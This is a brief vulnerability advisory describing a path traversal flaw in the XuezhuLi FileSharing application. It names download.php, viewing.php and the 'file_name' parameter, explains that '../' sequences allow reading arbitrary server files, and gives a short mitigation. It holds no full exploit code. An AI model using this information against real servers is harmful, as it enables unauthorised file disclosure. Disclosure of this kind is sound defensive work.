XuezhuLi FileSharing – Path Traversal Vulnerability

XuezhuLi FileSharing is vulnerable to path traversal. An attacker can exploit this vulnerability to read arbitrary files from the server by manipulating the 'file_name' parameter in the 'download.php' and 'viewing.php' scripts. This can be done by sending a specially crafted HTTP request with '../' sequences and a filename to the vulnerable script.

Mitigation:

Restrict access to the vulnerable scripts and ensure that user input is properly sanitized.
